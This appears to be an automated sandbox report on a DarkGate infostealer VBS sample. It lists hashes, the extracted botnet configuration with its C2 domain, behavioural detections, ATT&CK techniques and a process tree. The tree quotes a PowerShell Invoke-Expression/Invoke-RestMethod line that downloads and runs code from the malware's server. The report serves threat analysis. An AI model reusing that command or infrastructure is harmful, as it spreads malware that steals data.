darkgate | 65557538089827a67b4aa9fa91faeb4d29c06904bf71b01626e4c94e01199b0d

Analysis

max time kernel
93s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2024, 16:58

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General

Target
QB76678.vbs
Size 5KB
Sample240402-vg366aga37
SHA256 51cbe66857d56d31c77fd7c641f9ca51599094f5e6b57feebed3862a519a10d4
MD5 5887ae3cc4fb010b40b2bc51abfdc0a6
SHA1 b1ba11715fabbed6fb10065eedfcfe82e24057e4
SHA512 29db154dd32298678a9d7c74330886dda95aace22c4dd624ace3b0dc6d870650ff7bd6af43c65a6d144afe2235fb93f15906b2e17849c8c051bf3e8972373531
SSDEEP 96:YMg1GM9rgkCDQYIwBZDclgjUQ4QYZFN3QjUuGNzUoHtDC8X3NXcy:YMg119gkCtL3IqSPN3QzGNzUoNJnNsy
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

31yc.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
BduXyRPb
minimum_disk
100
minimum_ram
4096
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/932-42-0x0000000002CB0000-0x0000000002D23000-memory.dmp	family_darkgate_v6
behavioral2/memory/932-45-0x0000000002CB0000-0x0000000002D23000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	4020	powershell.exe
15	4020	powershell.exe
24	4020	powershell.exe
25	4020	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
932	KeyScramblerLogon.exe

Loads dropped DLL 1 IoCs

pid	Process
932	KeyScramblerLogon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	KeyScramblerLogon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	KeyScramblerLogon.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4020	powershell.exe
4020	powershell.exe
932	KeyScramblerLogon.exe
932	KeyScramblerLogon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4020	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 4020	4824	WScript.exe	84
PID 4824 wrote to memory of 4020	4824	WScript.exe	84
PID 4020 wrote to memory of 932	4020	powershell.exe	96
PID 4020 wrote to memory of 932	4020	powershell.exe	96
PID 4020 wrote to memory of 932	4020	powershell.exe	96
PID 4020 wrote to memory of 2976	4020	powershell.exe	97
PID 4020 wrote to memory of 2976	4020	powershell.exe	97

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2976	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QB76678.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/jjwusvmw')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\cvzq\KeyScramblerLogon.exe
    "C:\cvzq\KeyScramblerLogon.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:932
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/cvzq/
    3⤵
    - Views/modifies file attributes
    PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_2fymblk5.3qq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2fymblk5.3qq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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KeyScramblerIE.DLL

Path C:\cvzq\KeyScramblerIE.DLL
Size 2.3MB
SHA256 9a4bc2af88b6640bc4a6fbdd0830da373a85a4271b704ac9e3d21d5fa5e9b34f
MD5 6620436f5269c0a51735d163a4dbf9c5
SHA1 cd7068460c7b7476bd8d3c8f4d0a1157e42ffb1c
SHA512 7d4089f5a1c4cf19200a646ee0faa150a2cb40b3671758ff47ab070fabeb030d417d22598ba601953db55b53ff4f259504eb66092cb83d23b430090257839f7e
SSDEEP 49152:fncQYh8qtWhVcq7q/jF4jh8LisiaoyxEo:fcQYh8TVcq7q/jih8Lis+wEo
MD5 SHA1 SHA512 SSDEEP

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KeyScramblerLogon.exe

Path C:\cvzq\KeyScramblerLogon.exe
Size 500KB
SHA256 fa7ad2f45128120bccc33f996f87a81faa2e9c1236666dd69b943a755f332eb1
MD5 c790ebfcb6a34953a371e32c9174fe46
SHA1 3ead08d8bbdb3afd851877cb50507b77ae18a4d8
SHA512 74e3ab12b2a2d5c45c5248dd2225bfbcf237a01ef94fdca3fe99cfde11bd7d0ccd25dd7f26bd283997d951f4df7e8f4b35f9475a32bdb854d6cc8867b2c45554
SSDEEP 6144:79UJaPbttKBfvX/b9NX7NVdRbjCNK617o41Nptp7Nu+1:7qkbtts3X/b9NX7NVdtC37p7NuK
MD5 SHA1 SHA512 SSDEEP

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test.txt

Path C:\cvzq\test.txt
Size 457KB
SHA256 29fd65d91b96bb1b03d8cf92c1f425ef0f365a0d5390b9d0598937d8a2d54fec
MD5 ecf6f9e6da20648435cf6d1000c048c5
SHA1 9ed16c4b16b1e62e156105605975c564995c255f
SHA512 b6268f60cc54c3adbcc9fc224146b0a110048f27ef0973e7a2c8e5e0a0e711b631056680762a1756904d366c82c9fc785a19d2ade39e1de8dff9dc10ad4a5de7
SSDEEP 12288:3m23ntOIFto8tSEjSTUbCrTuXxtWlxMRr:A6to8tt7CeXxtWlaB
MD5 SHA1 SHA512 SSDEEP

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memory/932-45-0x0000000002CB0000-0x0000000002D23000-memory.dmp

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memory/932-44-0x0000000000400000-0x0000000000658000-memory.dmp

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memory/932-42-0x0000000002CB0000-0x0000000002D23000-memory.dmp

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memory/4020-20-0x000002BB37310000-0x000002BB37320000-memory.dmp

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memory/4020-19-0x000002BB37310000-0x000002BB37320000-memory.dmp

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memory/4020-17-0x00007FFE8CBD0000-0x00007FFE8D691000-memory.dmp

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memory/4020-13-0x000002BB37AA0000-0x000002BB37C62000-memory.dmp

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memory/4020-10-0x00007FFE8CBD0000-0x00007FFE8D691000-memory.dmp

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memory/4020-41-0x00007FFE8CBD0000-0x00007FFE8D691000-memory.dmp

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memory/4020-11-0x000002BB37310000-0x000002BB37320000-memory.dmp

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memory/4020-12-0x000002BB37310000-0x000002BB37320000-memory.dmp

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memory/4020-9-0x000002BB1F0F0000-0x000002BB1F112000-memory.dmp

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